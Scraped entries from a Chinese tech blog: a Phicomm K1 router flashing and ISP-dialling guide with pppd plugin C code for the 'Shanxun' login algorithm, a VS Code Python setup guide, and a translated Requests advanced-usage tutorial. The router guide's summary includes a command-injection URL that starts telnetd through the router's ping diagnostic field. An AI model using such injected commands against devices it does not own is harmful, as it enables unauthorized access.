sxplugin.so\u0026rsquo;这个代码即可（注意粘贴后字体是否一致，主要是‘号的问题，可保存后再打开查看，必须搞定字体格式才行），到此netkeeper就安装完了。最后重启路由器，到系统里面选时区，同步浏览器时间，保存。再到wan点击连接就能联网了。（如果进不去wan这个界面就是设置错了）\n最后要说的，这个可用的原因是湖北地区e信2.5的算法依旧可用，有的地区加了心跳，有的地区强制升级了，并不可用,教程到此处完结，后面的有能力可以看看，工具教程打包在文末\n◆闪讯算法源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;time.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;pppd/pppd.h\u0026gt; #include \u0026lt;pppd/md5.h\u0026gt; typedef unsigned char byte; char pppd_version[] = VERSION; static char saveuser[MAXNAMELEN] = {0}; static char savepwd[MAXSECRETLEN] = {0}; static void getPIN(byte *userName, byte *PIN) { int i,j;//循环变量 long timedivbyfive;//时间除以五 time_t timenow;//当前时间，从time()获得 byte RADIUS[16];//凑位字符 byte timeByte[4];//时间 div 5 byte beforeMD5[32];//时间 div 5+用户名+凑位 MD5_CTX md5;//MD5结构体 byte afterMD5[16];//MD5输出 byte MD501H[2]; //MD5前两位 byte MD501[3]; byte timeHash[4]; //时间div5经过第一次转后后的值 byte temp[32]; //第一次转换时所用的临时数组 byte PIN27[6]; //PIN的2到7位，由系统时间转换 //code info(\u0026#34;sxplugin : using zjxinlisx01\u0026#34;); strcpy(RADIUS, \u0026#34;zjxinlisx01\u0026#34;); timenow = time(NULL); timedivbyfive = timenow / 5; for(i = 0; i \u0026lt; 4; i++) { timeByte[i] = (byte)(timedivbyfive \u0026gt;\u0026gt; (8 * (3 - i)) \u0026amp; 0xFF); } for(i = 0; i \u0026lt; 4; i++) { beforeMD5[i]= timeByte[i]; } for(i = 4; i \u0026lt; 16 \u0026amp;\u0026amp; userName[i-4]!=\u0026#39;@\u0026#39; ; i++) { beforeMD5[i] = userName[i-4]; } j=0; while(RADIUS[j]!=\u0026#39;\\0\u0026#39;) beforeMD5[i++] = RADIUS[j++]; MD5_Init(\u0026amp;md5); MD5_Update (\u0026amp;md5, beforeMD5, i); printf(\u0026#34;%d %s\\n\u0026#34;,i,beforeMD5); MD5_Final (afterMD5, \u0026amp;md5); MD501H[0] = afterMD5[0] \u0026gt;\u0026gt; 4 \u0026amp; 0xF; MD501H[1] = afterMD5[0] \u0026amp; 0xF; sprintf(MD501,\u0026#34;%x%x\u0026#34;,MD501H[0],MD501H[1]); for(i = 0; i \u0026lt; 32; i++) { temp[i] = timeByte[(31 - i) / 8] \u0026amp; 1; timeByte[(31 - i) / 8] = timeByte[(31 - i) / 8] \u0026gt;\u0026gt; 1; } for (i = 0; i \u0026lt; 4; i++) { timeHash[i] = temp[i] * 128 + temp[4 + i] * 64 + temp[8 + i] * 32 + temp[12 + i] * 16 + temp[16 + i] * 8 + temp[20 + i] * 4 + temp[24 + i] * 2 + temp[28 + i]; } temp[1] = (timeHash[0] \u0026amp; 3) \u0026lt;\u0026lt; 4; temp[0] = (timeHash[0] \u0026gt;\u0026gt; 2) \u0026amp; 0x3F; temp[2] = (timeHash[1] \u0026amp; 0xF) \u0026lt;\u0026lt; 2; temp[1] = (timeHash[1] \u0026gt;\u0026gt; 4 \u0026amp; 0xF) + temp[1]; temp[3] = timeHash[2] \u0026amp; 0x3F; temp[2] = ((timeHash[2] \u0026gt;\u0026gt; 6) \u0026amp; 0x3) + temp[2]; temp[5] = (timeHash[3] \u0026amp; 3) \u0026lt;\u0026lt; 4; temp[4] = (timeHash[3] \u0026gt;\u0026gt; 2) \u0026amp; 0x3F; for (i = 0; i \u0026lt; 6; i++) { PIN27[i] = temp[i] + 0x020; if(PIN27[i]\u0026gt;=0x40) { PIN27[i]++; } } PIN[0] = \u0026#39;\\r\u0026#39;; PIN[1] = \u0026#39;\\n\u0026#39;; memcpy(PIN+2, PIN27, 6); PIN[8] = MD501[0]; PIN[9] = MD501[1]; strcpy(PIN+10, userName); } static int pap_modifyusername(char *user, char* passwd) { byte PIN[MAXSECRETLEN] = {0}; getPIN(saveuser, PIN); strcpy(user, PIN); info(\u0026#34;sxplugin : user is %s \u0026#34;,user); } static int check(){ return 1; } void plugin_init(void) { info(\u0026#34;sxplugin : init\u0026#34;); strcpy(saveuser,user); strcpy(savepwd,passwd); pap_modifyusername(user, saveuser); info(\u0026#34;sxplugin : passwd loaded\u0026#34;); pap_check_hook=check; chap_check_hook=check; } ◆下载地址 (访问码:4854)\n","permalink":"https://www.hacktech.cn/post/2016/09/exin-k1-and-dial/","summary":"\u003ch1 id=\"购买斐讯k1路由器\"\u003e◆购买斐讯k1路由器\u003c/h1\u003e\n\u003cp\u003e路由器在天猫京东斐讯旗舰店都有售卖，我买的价格是159，不过有一张铃铛卡，一个月之后返还160元，相当于0元购\u003c/p\u003e\n\u003ch1 id=\"路由器刷不死breed\"\u003e◆路由器刷不死Breed\u003c/h1\u003e\n\u003ch2 id=\"1路由与电脑有线连接好输入19216821完成设置\"\u003e1.路由与电脑有线连接好，输入192.168.2.1，完成设置\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"k1basicSetting\" loading=\"lazy\" src=\"/images/uploads/466c36655068702d47536a346837465250446263664c6a525f4f6134.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"2在浏览器地址栏输入http19216821goformdiagnosispingaddr1921682100echotelnetd\"\u003e2.在浏览器地址栏输入：http://192.168.2.1/goform/Diagnosis?pingAddr=192.168.2.100|echo\u0026quot;\u0026quot;|telnetd\u003c/h2\u003e\n\u003cp\u003e(如果你的电脑ip不是192.168.2.100,请改成你电脑的ip(内网ip))\u003c/p\u003e","title":"给斐讯K1刷机并拨号e信(湖北地区测试无问题)"},{"content":"1.安装Python插件 在VScode界面按Crtl+Shift+P或者F1\n输入ext install\n直接安装Python，也就是点击它，然后等待，安装好后会提示你重启\n2.配置运行Python程序 同样的打开命令面板（Crtl+Shift+P或F1），然后输入Tasks: Configure Task Runner（中文输入：任务，然后选择任务：配置任务运行程序），选择Other\n此时VScode会自动生成.vscode文件夹并生成一个默认的task.json\n配置如下\n\u0026quot;version\u0026quot;: \u0026quot;0.1.0\u0026quot;, \u0026quot;command\u0026quot;: \u0026quot;python\u0026quot;, \u0026quot;isShellCommand\u0026quot;: true, \u0026quot;args\u0026quot;: [\u0026quot;${file}\u0026quot;], \u0026quot;showOutput\u0026quot;: \u0026quot;always\u0026quot; 然后写完代码后 Crtl+Shift+B运行Py程序 ","permalink":"https://www.hacktech.cn/post/2016/06/vscode-python-environment/","summary":"\u003ch1 id=\"1安装python插件\"\u003e1.安装Python插件\u003c/h1\u003e\n\u003cp\u003e在VScode界面按\u003ccode\u003eCrtl\u003c/code\u003e+\u003ccode\u003eShift\u003c/code\u003e+\u003ccode\u003eP\u003c/code\u003e或者\u003ccode\u003eF1\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e输入\u003ccode\u003eext install\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"ext install\" loading=\"lazy\" src=\"/images/uploads/466e425945714456686a364e627865744763442d414838515f653955.png\"\u003e\u003c/p\u003e\n\u003cp\u003e直接安装\u003ccode\u003ePython\u003c/code\u003e，也就是点击它，然后等待，安装好后会提示你重启\u003c/p\u003e","title":"Visual Studio Code配置Python开发环境"},{"content":" 高级用法 本篇文档涵盖了Requests的一些更加高级的特性。\n会话对象 会话对象让你能够跨请求保持某些参数。它也会在同一个Session实例发出的所有请求之间保持cookies。\n会话对象具有主要的Requests API的所有方法。\n我们来跨请求保持一些cookies:\n1 2 3 4 5 6 7 s = requests.Session() s.get(\u0026#39;http://httpbin.org/cookies/set/sessioncookie/123456789\u0026#39;) r = s.get(\u0026#34;http://httpbin.org/cookies\u0026#34;) print(r.text) # \u0026#39;{\u0026#34;cookies\u0026#34;: {\u0026#34;sessioncookie\u0026#34;: \u0026#34;123456789\u0026#34;}}\u0026#39; 会话也可用来为请求方法提供缺省数据。这是通过为会话对象的属性提供数据来实现的:\n1 2 3 4 5 6 s = requests.Session() s.auth = (\u0026#39;user\u0026#39;, \u0026#39;pass\u0026#39;) s.headers.update({\u0026#39;x-test\u0026#39;: \u0026#39;true\u0026#39;}) # both \u0026#39;x-test\u0026#39; and \u0026#39;x-test2\u0026#39; are sent s.get(\u0026#39;http://httpbin.org/headers\u0026#39;, headers={\u0026#39;x-test2\u0026#39;: \u0026#39;true\u0026#39;}) 任何你传递给请求方法的字典都会与已设置会话层数据合并。方法层的参数覆盖会话的参数。\n从字典参数中移除一个值 有时你会想省略字典参数中一些会话层的键。要做到这一点，你只需简单地在方法层参数中将那个键的值设置为 None ，那个键就会被自动省略掉。\n包含在一个会话中的所有数据你都可以直接使用。学习更多细节请阅读 会话API文档 。\n请求与响应对象 任何时候调用requests.*()你都在做两件主要的事情。其一，你在构建一个 Request 对象， 该对象将被发送到某个服务器请求或查询一些资源。其二，一旦 requests 得到一个从 服务器返回的响应就会产生一个 Response 对象。该响应对象包含服务器返回的所有信息， 也包含你原来创建的 Request 对象。如下是一个简单的请求，从Wikipedia的服务器得到 一些非常重要的信息:\n1 \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#39;http://en.wikipedia.org/wiki/Monty_Python\u0026#39;) 如果想访问服务器返回给我们的响应头部信息，可以这样做:\n1 2 3 4 5 6 7 8 9 \u0026gt;\u0026gt;\u0026gt; r.headers {\u0026#39;content-length\u0026#39;: \u0026#39;56170\u0026#39;, \u0026#39;x-content-type-options\u0026#39;: \u0026#39;nosniff\u0026#39;, \u0026#39;x-cache\u0026#39;: \u0026#39;HIT from cp1006.eqiad.wmnet, MISS from cp1010.eqiad.wmnet\u0026#39;, \u0026#39;content-encoding\u0026#39;: \u0026#39;gzip\u0026#39;, \u0026#39;age\u0026#39;: \u0026#39;3080\u0026#39;, \u0026#39;content-language\u0026#39;: \u0026#39;en\u0026#39;, \u0026#39;vary\u0026#39;: \u0026#39;Accept-Encoding,Cookie\u0026#39;, \u0026#39;server\u0026#39;: \u0026#39;Apache\u0026#39;, \u0026#39;last-modified\u0026#39;: \u0026#39;Wed, 13 Jun 2012 01:33:50 GMT\u0026#39;, \u0026#39;connection\u0026#39;: \u0026#39;close\u0026#39;, \u0026#39;cache-control\u0026#39;: \u0026#39;private, s-maxage=0, max-age=0, must-revalidate\u0026#39;, \u0026#39;date\u0026#39;: \u0026#39;Thu, 14 Jun 2012 12:59:39 GMT\u0026#39;, \u0026#39;content-type\u0026#39;: \u0026#39;text/html; charset=UTF-8\u0026#39;, \u0026#39;x-cache-lookup\u0026#39;: \u0026#39;HIT from cp1006.eqiad.wmnet:3128, MISS from cp1010.eqiad.wmnet:80\u0026#39;} 然而，如果想得到发送到服务器的请求的头部，我们可以简单地访问该请求，然后是该请求的头部:\n1 2 3 \u0026gt;\u0026gt;\u0026gt; r.request.headers {\u0026#39;Accept-Encoding\u0026#39;: \u0026#39;identity, deflate, compress, gzip\u0026#39;, \u0026#39;Accept\u0026#39;: \u0026#39;*/*\u0026#39;, \u0026#39;User-Agent\u0026#39;: \u0026#39;python-requests/0.13.1\u0026#39;} Prepared Request 当你从API调用或Session调用得到一个Response对象，对于这个的request属性实际上是被使用的PreparedRequest，在某些情况下你可能希望在发送请求之前对body和headers(或其他东西)做些额外的工作，一个简单的例子如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from requests import Request, Session s = Session() req = Request(\u0026#39;GET\u0026#39;, url, data=data, headers=header ) prepped = req.prepare() # do something with prepped.body # do something with prepped.headers resp = s.send(prepped, stream=stream, verify=verify, proxies=proxies, cert=cert, timeout=timeout ) print(resp.status_code) 因为你没有用Request对象做任何特别的事情，你应该立即封装它和修改 PreparedRequest 对象，然后携带着你想要发送到requests.* 或 Session.*的其他参数来发送它\n但是，上面的代码会丧失一些Requests Session对象的优势，特别的，Session层的状态比如cookies不会被应用到你的其他请求中，要使它得到应用，你可以用*Session.prepare_request()*来替换 Request.prepare()，比如下面的例子:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from requests import Request, Session s = Session() req = Request(\u0026#39;GET\u0026#39;, url, data=data headers=headers ) prepped = s.prepare_request(req) # do something with prepped.body # do something with prepped.headers resp = s.send(prepped, stream=stream, verify=verify, proxies=proxies, cert=cert, timeout=timeout ) print(resp.status_code) SSL证书验证 Requests可以为HTTPS请求验证SSL证书，就像web浏览器一样。要想检查某个主机的SSL证书，你可以使用 verify 参数:\n1 2 \u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;https://kennethreitz.com\u0026#39;, verify=True) requests.exceptions.SSLError: hostname \u0026#39;kennethreitz.com\u0026#39; doesn\u0026#39;t match either of \u0026#39;*.herokuapp.com\u0026#39;, \u0026#39;herokuapp.com\u0026#39; 在该域名上我没有设置SSL，所以失败了。但Github设置了SSL:\n1 2 \u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;https://github.com\u0026#39;, verify=True) \u0026lt;Response [200]\u0026gt; 对于私有证书，你也可以传递一个CA_BUNDLE文件的路径给 verify 。你也可以设置 REQUEST_CA_BUNDLE 环境变量。\n如果你将verify设置为False，Requests也能忽略对SSL证书的验证。\n1 2 \u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;https://kennethreitz.com\u0026#39;, verify=False) \u0026lt;Response [200]\u0026gt; 默认情况下， verify 是设置为True的。选项 verify 仅应用于主机证书。\n你也可以指定一个本地证书用作客户端证书，可以是单个文件（包含密钥和证书）或一个包含两个文件路径的元组:\n1 2 \u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;https://kennethreitz.com\u0026#39;, cert=(\u0026#39;/path/server.crt\u0026#39;, \u0026#39;/path/key\u0026#39;)) \u0026lt;Response [200]\u0026gt; 如果你指定了一个错误路径或一个无效的证书:\n1 2 \u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;https://kennethreitz.com\u0026#39;, cert=\u0026#39;/wrong_path/server.pem\u0026#39;) SSLError: [Errno 336265225] _ssl.c:347: error:140B0009:SSL routines:SSL_CTX_use_PrivateKey_file:PEM lib 响应体内容工作流 默认情况下，当你进行网络请求后，响应体会立即被下载。你可以通过 stream 参数覆盖这个行为，推迟下载响应体直到访问 Response.content 属性:\n1 2 tarball_url = \u0026#39;https://github.com/kennethreitz/requests/tarball/master\u0026#39; r = requests.get(tarball_url, stream=True) 此时仅有响应头被下载下来了，连接保持打开状态，因此允许我们根据条件获取内容:\n1 2 3 if int(r.headers[\u0026#39;content-length\u0026#39;]) \u0026lt; TOO_LONG: content = r.content ... 你可以进一步使用 Response.iter_content 和 Response.iter_lines 方法来控制工作流，或者以 Response.raw 从底层urllib3的 urllib3.HTTPResponse \u0026lt;urllib3.response.HTTPResponse 读取。\n如果当你请求时设置stream为True，Requests将不能释放这个连接为连接池，除非你读取了全部数据或者调用了Response.close，这样会使连接变得低效率。如果当你设置 stream = True 时你发现你自己部分地读取了响应体数据(或者完全没读取响应体数据)，你应该考虑使用contextlib.closing,比如下面的例子:\n1 2 3 4 from contextlib import closing with closing(requests.get(\u0026#39;http://httpbin.org/get\u0026#39;, stream=True)) as r: # Do things with the response here. 保持活动状态（持久连接） 好消息 - 归功于urllib3，同一会话内的持久连接是完全自动处理的！同一会话内你发出的任何请求都会自动复用恰当的连接！\n注意：只有所有的响应体数据被读取完毕连接才会被释放为连接池；所以确保将 stream 设置为 False 或读取 Response 对象的 content 属性。\n流式上传 Requests支持流式上传，这允许你发送大的数据流或文件而无需先把它们读入内存。要使用流式上传，仅需为你的请求体提供一个类文件对象即可:\n1 2 with open(\u0026#39;massive-body\u0026#39;) as f: requests.post(\u0026#39;http://some.url/streamed\u0026#39;, data=f) 块编码请求 对于出去和进来的请求，Requests也支持分块传输编码。要发送一个块编码的请求，仅需为你的请求体提供一个生成器（或任意没有具体长度(without a length)的迭代器）:\n1 2 3 4 5 def gen(): yield \u0026#39;hi\u0026#39; yield \u0026#39;there\u0026#39; requests.post(\u0026#39;http://some.url/chunked\u0026#39;, data=gen()) POST 多个编码(Multipart-Encoded)文件 你可以在一个请求中发送多个文件，例如，假设你希望上传图像文件到一个包含多个文件字段‘images’的HTML表单\n1 \u0026lt;input type=”file” name=”images” multiple=”true” required=”true”/\u0026gt; 达到这个目的，仅仅只需要设置文件到一个包含(form_field_name, file_info)的元组的列表：\n1 2 3 4 5 6 7 8 9 10 11 \u0026gt;\u0026gt;\u0026gt; url = \u0026#39;http://httpbin.org/post\u0026#39; \u0026gt;\u0026gt;\u0026gt; multiple_files = [(\u0026#39;images\u0026#39;, (\u0026#39;foo.png\u0026#39;, open(\u0026#39;foo.png\u0026#39;, \u0026#39;rb\u0026#39;), \u0026#39;image/png\u0026#39;)), (\u0026#39;images\u0026#39;, (\u0026#39;bar.png\u0026#39;, open(\u0026#39;bar.png\u0026#39;, \u0026#39;rb\u0026#39;), \u0026#39;image/png\u0026#39;))] \u0026gt;\u0026gt;\u0026gt; r = requests.post(url, files=multiple_files) \u0026gt;\u0026gt;\u0026gt; r.text { ... \u0026#39;files\u0026#39;: {\u0026#39;images\u0026#39;: \u0026#39;data:image/png;base64,iVBORw ....\u0026#39;} \u0026#39;Content-Type\u0026#39;: \u0026#39;multipart/form-data; boundary=3131623adb2043caaeb5538cc7aa0b3a\u0026#39;, ... } 事件挂钩 Requests有一个钩子系统，你可以用来操控部分请求过程，或信号事件处理。\n可用的钩子:\nresponse:\n从一个请求产生的响应\n你可以通过传递一个 {hook_name: callback_function} 字典给 hooks 请求参数 为每个请求分配一个钩子函数:\n1 hooks=dict(response=print_url) callback_function 会接受一个数据块作为它的第一个参数。\n1 2 def print_url(r): print(r.url) 若执行你的回调函数期间发生错误，系统会给出一个警告。\n若回调函数返回一个值，默认以该值替换传进来的数据。若函数未返回任何东西， 也没有什么其他的影响。\n我们来在运行期间打印一些请求方法的参数:\n1 2 3 \u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;http://httpbin.org\u0026#39;, hooks=dict(response=print_url)) http://httpbin.org \u0026lt;Response [200]\u0026gt; 自定义身份验证 Requests允许你使用自己指定的身份验证机制。\n任何传递给请求方法的 auth 参数的可调用对象，在请求发出之前都有机会修改请求。\n自定义的身份验证机制是作为 requests.auth.AuthBase 的子类来实现的，也非常容易定义。\nRequests在 requests.auth 中提供了两种常见的的身份验证方案： HTTPBasicAuth 和 HTTPDigestAuth 。\n假设我们有一个web服务，仅在 X-Pizza 头被设置为一个密码值的情况下才会有响应。虽然这不太可能， 但就以它为例好了\n1 2 3 4 5 6 7 8 9 10 11 12 from requests.auth import AuthBase class PizzaAuth(AuthBase): \u0026#34;\u0026#34;\u0026#34;Attaches HTTP Pizza Authentication to the given Request object.\u0026#34;\u0026#34;\u0026#34; def __init__(self, username): # setup any auth-related data here self.username = username def __call__(self, r): # modify and return the request r.headers[\u0026#39;X-Pizza\u0026#39;] = self.username return r 然后就可以使用我们的PizzaAuth来进行网络请求:\n1 2 \u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#39;http://pizzabin.org/admin\u0026#39;, auth=PizzaAuth(\u0026#39;kenneth\u0026#39;)) \u0026lt;Response [200]\u0026gt; 流式请求 使用 requests.Response.iter_lines() 你可以很方便地对流式API（例如 Twitter的流式API ）进行迭代。简单地设置 stream 为 True 便可以使用 iter_lines() 对相应进行迭代:\n1 2 3 4 5 6 7 8 9 10 import json import requests r = requests.get(\u0026#39;http://httpbin.org/stream/20\u0026#39;, stream=True) for line in r.iter_lines(): # filter out keep-alive new lines if line: print(json.loads(line)) 代理 如果需要使用代理，你可以通过为任意请求方法提供 proxies 参数来配置单个请求:\n1 2 3 4 5 6 7 8 import requests proxies = { \u0026#34;http\u0026#34;: \u0026#34;http://10.10.1.10:3128\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://10.10.1.10:1080\u0026#34;, } requests.get(\u0026#34;http://example.org\u0026#34;, proxies=proxies) 你也可以通过环境变量 HTTP_PROXY 和 HTTPS_PROXY 来配置代理。\n1 2 3 $ export HTTP_PROXY=\u0026#34;http://10.10.1.10:3128\u0026#34; $ export HTTPS_PROXY=\u0026#34;http://10.10.1.10:1080\u0026#34; $ python 1 2 \u0026gt;\u0026gt;\u0026gt; import requests \u0026gt;\u0026gt;\u0026gt; requests.get(\u0026#34;http://example.org\u0026#34;) 若你的代理需要使用HTTP Basic Auth，可以使用 http://user:password@host/ 语法:\n1 2 3 proxies = { \u0026#34;http\u0026#34;: \u0026#34;http://user:pass@10.10.1.10:3128/\u0026#34;, } 合规性 Requests符合所有相关的规范和RFC，这样不会为用户造成不必要的困难。但这种对规范的考虑 导致一些行为对于不熟悉相关规范的人来说看似有点奇怪。\n编码方式 当你收到一个响应时，Requests会猜测响应的编码方式，用于在你调用 Response.text 方法时 对响应进行解码。Requests首先在HTTP头部检测是否存在指定的编码方式，如果不存在，则会使用 charade 来尝试猜测编码方式。\n只有当HTTP头部不存在明确指定的字符集，并且 Content-Type 头部字段包含 text 值之时， Requests才不去猜测编码方式。\n在这种情况下， RFC 2616 指定默认字符集 必须是 ISO-8859-1 。Requests遵从这一规范。如果你需要一种不同的编码方式，你可以手动设置 Response.encoding 属性，或使用原始的 Response.content 。(可结合上一篇安装使用快速上手中的 响应内容 学习)\nHTTP请求类型(附加例子) Requests提供了几乎所有HTTP请求类型的功能：GET，OPTIONS， HEAD，POST，PUT，PATCH和DELETE。 以下内容为使用Requests中的这些请求类型以及Github API提供了详细示例。\n我将从最常使用的请求类型GET开始。HTTP GET是一个幂等的方法，从给定的URL返回一个资源。因而， 当你试图从一个web位置获取数据之时，你应该使用这个请求类型。一个使用示例是尝试从Github上获取 关于一个特定commit的信息。假设我们想获取Requests的commit a050faf 的信息。我们可以 这样去做:\n1 2 \u0026gt;\u0026gt;\u0026gt; import requests \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#39;https://api.github.com/repos/kennethreitz/requests/git/commits/a050faf084662f3a352dd1a941f2c7c9f886d4ad\u0026#39;) 我们应该确认Github是否正确响应。如果正确响应，我们想弄清响应内容是什么类型的。像这样去做:\n1 2 3 4 \u0026gt;\u0026gt;\u0026gt; if (r.status_code == requests.codes.ok): ... print r.headers[\u0026#39;content-type\u0026#39;] ... application/json; charset=utf-8 可见，GitHub返回了JSON数据，非常好，这样就可以使用 r.json 方法把这个返回的数据解析成Python对象。\n1 2 3 4 5 6 7 \u0026gt;\u0026gt;\u0026gt; commit_data = r.json() \u0026gt;\u0026gt;\u0026gt; print commit_data.keys() [u\u0026#39;committer\u0026#39;, u\u0026#39;author\u0026#39;, u\u0026#39;url\u0026#39;, u\u0026#39;tree\u0026#39;, u\u0026#39;sha\u0026#39;, u\u0026#39;parents\u0026#39;, u\u0026#39;message\u0026#39;] \u0026gt;\u0026gt;\u0026gt; print commit_data[u\u0026#39;committer\u0026#39;] {u\u0026#39;date\u0026#39;: u\u0026#39;2012-05-10T11:10:50-07:00\u0026#39;, u\u0026#39;email\u0026#39;: u\u0026#39;me@kennethreitz.com\u0026#39;, u\u0026#39;name\u0026#39;: u\u0026#39;Kenneth Reitz\u0026#39;} \u0026gt;\u0026gt;\u0026gt; print commit_data[u\u0026#39;message\u0026#39;] makin\u0026#39; history 到目前为止，一切都非常简单。嗯，我们来研究一下GitHub的API。我们可以去看看文档， 但如果使用Requests来研究也许会更有意思一点。我们可以借助Requests的OPTIONS请求类型来看看我们刚使用过的url 支持哪些HTTP方法。\n1 2 3 \u0026gt;\u0026gt;\u0026gt; verbs = requests.options(r.url) \u0026gt;\u0026gt;\u0026gt; verbs.status_code 500 额，这是怎么回事？毫无帮助嘛！原来GitHub，与许多API提供方一样，实际上并未实现OPTIONS方法。 这是一个恼人的疏忽，但没关系，那我们可以使用枯燥的文档。然而，如果GitHub正确实现了OPTIONS， 那么服务器应该在响应头中返回允许用户使用的HTTP方法，例如：\n1 2 3 \u0026gt;\u0026gt;\u0026gt; verbs = requests.options(\u0026#39;http://a-good-website.com/api/cats\u0026#39;) \u0026gt;\u0026gt;\u0026gt; print verbs.headers[\u0026#39;allow\u0026#39;] GET,HEAD,POST,OPTIONS 转而去查看文档，我们看到对于提交信息，另一个允许的方法是POST，它会创建一个新的提交。 由于我们正在使用Requests代码库，我们应尽可能避免对它发送笨拙的POST。作为替代，我们来 玩玩GitHub的Issue特性。\n本篇文档是回应Issue #482而添加的。鉴于该问题已经存在，我们就以它为例。先获取它。\n1 2 3 4 5 6 7 8 \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#39;https://api.github.com/repos/kennethreitz/requests/issues/482\u0026#39;) \u0026gt;\u0026gt;\u0026gt; r.status_code 200 \u0026gt;\u0026gt;\u0026gt; issue = json.loads(r.text) \u0026gt;\u0026gt;\u0026gt; print issue[u\u0026#39;title\u0026#39;] Feature any http verb in docs \u0026gt;\u0026gt;\u0026gt; print issue[u\u0026#39;comments\u0026#39;] 3 Cool，有3个评论。我们来看一下最后一个评论。\n1 2 3 4 5 6 7 8 \u0026gt;\u0026gt;\u0026gt; r = requests.get(r.url + u\u0026#39;/comments\u0026#39;) \u0026gt;\u0026gt;\u0026gt; r.status_code 200 \u0026gt;\u0026gt;\u0026gt; comments = r.json() \u0026gt;\u0026gt;\u0026gt; print comments[0].keys() [u\u0026#39;body\u0026#39;, u\u0026#39;url\u0026#39;, u\u0026#39;created_at\u0026#39;, u\u0026#39;updated_at\u0026#39;, u\u0026#39;user\u0026#39;, u\u0026#39;id\u0026#39;] \u0026gt;\u0026gt;\u0026gt; print comments[2][u\u0026#39;body\u0026#39;] Probably in the \u0026#34;advanced\u0026#34; section 嗯，那看起来似乎是个愚蠢之处。我们发表个评论来告诉这个评论者他自己的愚蠢。那么，这个评论者是谁呢？\n1 2 \u0026gt;\u0026gt;\u0026gt; print comments[2][u\u0026#39;user\u0026#39;][u\u0026#39;login\u0026#39;] kennethreitz 好，我们来告诉这个叫肯尼思的家伙，这个例子应该放在快速上手指南中。根据GitHub API文档， 其方法是POST到该话题。我们来试试看。\n1 2 3 4 5 \u0026gt;\u0026gt;\u0026gt; body = json.dumps({u\u0026#34;body\u0026#34;: u\u0026#34;Sounds great! I\u0026#39;ll get right on it!\u0026#34;}) \u0026gt;\u0026gt;\u0026gt; url = u\u0026#34;https://api.github.com/repos/kennethreitz/requests/issues/482/comments\u0026#34; \u0026gt;\u0026gt;\u0026gt; r = requests.post(url=url, data=body) \u0026gt;\u0026gt;\u0026gt; r.status_code 404 额，这有点古怪哈。可能我们需要验证身份。那就有点纠结了，对吧？不对。Requests简化了多种身份验证形式的使用， 包括非常常见的Basic Auth。\n1 2 3 4 5 6 7 8 \u0026gt;\u0026gt;\u0026gt; from requests.auth import HTTPBasicAuth \u0026gt;\u0026gt;\u0026gt; auth = HTTPBasicAuth(\u0026#39;fake@example.com\u0026#39;, \u0026#39;not_a_real_password\u0026#39;) \u0026gt;\u0026gt;\u0026gt; r = requests.post(url=url, data=body, auth=auth) \u0026gt;\u0026gt;\u0026gt; r.status_code 201 \u0026gt;\u0026gt;\u0026gt; content = r.json() \u0026gt;\u0026gt;\u0026gt; print(content[u\u0026#39;body\u0026#39;]) Sounds great! I\u0026#39;ll get right on it. 精彩！噢，不！我原本是想说等我一会，因为我得去喂一下我的猫。如果我能够编辑这条评论那就好了！ 幸运的是，GitHub允许我们使用另一个HTTP动词，PATCH，来编辑评论。我们来试试。\n1 2 3 4 5 6 7 \u0026gt;\u0026gt;\u0026gt; print(content[u\u0026#34;id\u0026#34;]) 5804413 \u0026gt;\u0026gt;\u0026gt; body = json.dumps({u\u0026#34;body\u0026#34;: u\u0026#34;Sounds great! I\u0026#39;ll get right on it once I feed my cat.\u0026#34;}) \u0026gt;\u0026gt;\u0026gt; url = u\u0026#34;https://api.github.com/repos/kennethreitz/requests/issues/comments/5804413\u0026#34; \u0026gt;\u0026gt;\u0026gt; r = requests.patch(url=url, data=body, auth=auth) \u0026gt;\u0026gt;\u0026gt; r.status_code 200 非常好。现在，我们来折磨一下这个叫肯尼思的家伙，我决定要让他急得团团转，也不告诉他是我在捣蛋。 这意味着我想删除这条评论。GitHub允许我们使用完全名副其实的DELETE方法来删除评论。我们来清除该评论。\n1 2 3 4 5 \u0026gt;\u0026gt;\u0026gt; r = requests.delete(url=url, auth=auth) \u0026gt;\u0026gt;\u0026gt; r.status_code 204 \u0026gt;\u0026gt;\u0026gt; r.headers[\u0026#39;status\u0026#39;] \u0026#39;204 No Content\u0026#39; 很好。不见了。最后一件我想知道的事情是我已经使用了多少限额（ratelimit）。查查看，GitHub在响应头部发送这个信息， 因此不必下载整个网页，我将使用一个HEAD请求来获取响应头。\n1 2 3 4 5 6 \u0026gt;\u0026gt;\u0026gt; r = requests.head(url=url, auth=auth) \u0026gt;\u0026gt;\u0026gt; print r.headers ... \u0026#39;x-ratelimit-remaining\u0026#39;: \u0026#39;4995\u0026#39; \u0026#39;x-ratelimit-limit\u0026#39;: \u0026#39;5000\u0026#39; ... 很好。是时候写个Python程序以各种刺激的方式滥用GitHub的API，还可以使用4995次呢。\n响应头链接字段 许多HTTP API都有响应头链接字段的特性，它们使得API能够更好地自我描述和自我显露。\nGitHub在API中为 分页 